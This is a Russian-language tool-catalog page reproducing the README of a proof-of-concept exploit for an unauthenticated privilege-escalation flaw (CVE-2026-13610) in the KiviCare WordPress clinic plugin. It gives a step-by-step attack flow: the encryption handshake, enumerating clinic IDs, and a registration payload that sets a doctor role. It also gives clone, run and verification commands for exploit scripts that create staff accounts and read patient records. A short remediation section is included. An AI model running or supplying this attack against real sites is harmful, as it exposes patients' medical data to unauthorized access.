Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-13610 — Эксплойт PoC для неаутентифицированного создания учётных записей врача/регистратора в плагине KiviCare для WordPress через некорректное управление привилегиями, предоставляющий доступ к PHI на уровне персонала. | Kitploit
Инструменты/GitHubGitHub/ghostpels/cve-2026-13610
Аутентификация и авторизацияПовышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubghostpels/cve-2026-13610

CVE-2026-13610

Эксплойт PoC для неаутентифицированного создания учётных записей врача/регистратора в плагине KiviCare для WordPress через некорректное управление привилегиями, предоставляющий доступ к PHI на уровне персонала.

Репозиторий
161 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-13610

KiviCare – Clinic & Patient Management System <= 4.5.1 — Неаутентифицированное создание учётной записи врача/администратора регистратуры из-за некорректного управления привилегиями

CWE-269 (Некорректное управление привилегиями) | Неаутентифицированная регистрация с выбранной атакующим служебной ролью → раскрытие PHI пациентов


Обзор

Критическая уязвимость в WordPress-плагине KiviCare – Clinic & Patient Management System (версии до 4.5.1 включительно), которая позволяет неаутентифицированным атакующим регистрировать учётную запись врача (kiviCare_doctor) или администратора регистратуры (kiviCare_receptionist) с самостоятельно выбранным паролем, привязанную к выбранной атакующим клинике.

Уязвимость существует потому, что публичный эндпоинт регистрации принимает параметр user_role напрямую из тела запроса, а его белый список проверки включает служебные роли клиники:

КонтрольЧто делаетРезультат
permission_callbackНет is_user_logged_in(), нет nonce, нет проверки правПроходит; в конце return true
Белый список user_roleПринимает kiviCare_doctor, kiviCare_receptionist, kiviCare_patientАтакующий выбирает служебную роль
Параметр patient_role_onlyОбъявлен со значением yes по умолчаниюНикогда не читается — мёртвый параметр
reCAPTCHAПроверяется только if (isset($params['recaptchaToken']))Обходится, если опустить параметр

Детали уязвимости

ПолеЗначение
CVE IDCVE-2026-13610
CWECWE-269 (Некорректное управление привилегиями)
ПлагинKiviCare – Clinic & Patient Management System
Затронутые версииВерсии до 4.5.1 включительно
ИсправленоНе подтверждено на момент проведения анализа
ТипНеаутентифицированное создание учётной записи со служебной ролью (повышение привилегий)
ИсследовательSai Praneeth Koti
Опубликовано2026

Анализ первопричины

Эндпоинт регистрации POST /wp-json/kivicare/v1/auth/register (app/controllers/api/AuthController.php:237–242) защищён только функцией checkRegistrationPermission() (:602–650), которая:

  1. Сразу возвращает true, если включён users_can_register (без проверки аутентификации).
  2. В противном случае проверяет собственные настройки ролей плагина — которые по умолчанию разрешают доступ, поскольку KCOption::get() возвращает null в стандартных установках.
  3. В конце функции безусловно срабатывает return true.

Затем обработчик register() (:1277–1387) читает user_role из тела запроса, сопоставляет его с моделями KCDoctor / KCReceptionist и вызывает $model->save() — который запускает wp_insert_user() и setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) без какой-либо проверки авторизации. Полученная учётная запись активна и привязана к выбранной атакующим клинике.

Сквозное шифрование тела запроса (E2EE) в плагине не является преградой: эндпоинты рукопожатия (server-key, config/register-key) не требуют аутентификации (app/controllers/api/ConfigController.php:190–205), поэтому любой клиент может согласовать гостевой ключ и отправить зашифрованную полезную нагрузку.

Полный разбор: analysis/TECHNICAL_ANALYSIS.md


Ход атаки

1. Handshake (encrypted targets):
   POST /wp-json/kivicare/v1/server-key               -> server X25519 public key
   POST /wp-json/kivicare/v1/config/register-key      -> register own public key
   (header x_kc_client_id: <anything>, body {"public_key": "<base64>"})

2. Enumerate a valid clinic ID via the validation oracle:
   "Invalid clinic selected"  -> clinic does not exist
   "Username already exists"  -> clinic exists

3. Encrypt the payload and send:
   POST /wp-json/kivicare/v1/auth/register
   body = base64( nonce(24B) || crypto_box(json) )

   {
     "username": "attacker",
     "email": "[email protected]",
     "password": "P@ssw0rd-123!",
     "first_name": "Att", "last_name": "Acker",
     "mobile_number": "+15550133777",
     "gender": "male",
     "user_role": "kiviCare_doctor",     <-- vulnerable parameter
     "user_clinic": 1
   }

4. HTTP 201 "Registration successful." -> active doctor account created

5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI

Установка

git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt

Использование

Предварительная проверка (настройки целевой системы + рукопожатие E2EE)

python preflight.py http://target.com

Создание учётной записи врача (без аутентификации)

python exploit.py --url http://target.com \
  --username attacker --email [email protected] --password 'P@ssw0rd-123!'

Скрипт автоматически определяет режим передачи (обычный JSON или E2EE-шифрование) и перебирает ID клиник, если параметр --clinic не указан.

Подтверждение доступа к клиническим данным с помощью созданной учётной записи

python verify_impact.py --url http://target.com \
  --username attacker --password 'P@ssw0rd-123!'

Выполняет вход через REST, перепривязывает E2EE-ключ ответа учётной записи, а затем вызывает эндпоинты, доступные только персоналу (/patients, /appointments).

Параметры (exploit.py)

--url           Target base URL (required)
--username      Username to create (default: attacker<random>)
--email         Email (default: <username>@evil.example)
--password      Password (default: Poc!Passw0rd-2026)
--role          kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic        Clinic ID (auto-enumerated when omitted)
--mobile        Mobile number (default: random +1555...)
--first-name    First name (default: Dr)
--last-name     Last name (default: Poc)
--gender        Gender (default: male)
--no-verify     Skip post-creation login verification

Воздействие

Успешная эксплуатация приводит к созданию активной служебной учётной записи, привязанной к реальной клинике, без необходимости аутентификации:

  • Чтение/экспорт PHI пациентов: медицинские записи, приёмы, рецепты, биллинг
  • Создание/изменение/удаление приёмов, сеансов, отчётов, рецептов
  • Действительная учётная запись WordPress с доступом к панели wp-admin (read + upload_files) — плацдарм для дальнейших атак

Эндпоинт не позволяет создавать учётную запись WordPress с ролью administrator (белый список user_role отклоняет её), но роли врача достаточно для полного доступа к клиническим данным.


Устранение уязвимости

  1. Принудительно назначайте роль пациента для неаутентифицированных регистрантов и применяйте объявленный параметр patient_role_only
  2. Перенесите создание служебных учётных записей на эндпоинт, доступный только администраторам, с проверкой current_user_can('create_users') и nonce
  3. Запрещайте по умолчанию в checkRegistrationPermission — удалите завершающий return true
  4. Требуйте recaptchaToken, когда включена reCAPTCHA (сейчас параметр необязателен)
  5. Обновите KiviCare, как только выйдет исправленная версия

Ссылки

  • Запись NVD
  • Страница плагина в WordPress
  • Полный технический анализ
  • Patchstack.

Отказ от ответственности

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ.

Скачать инструмент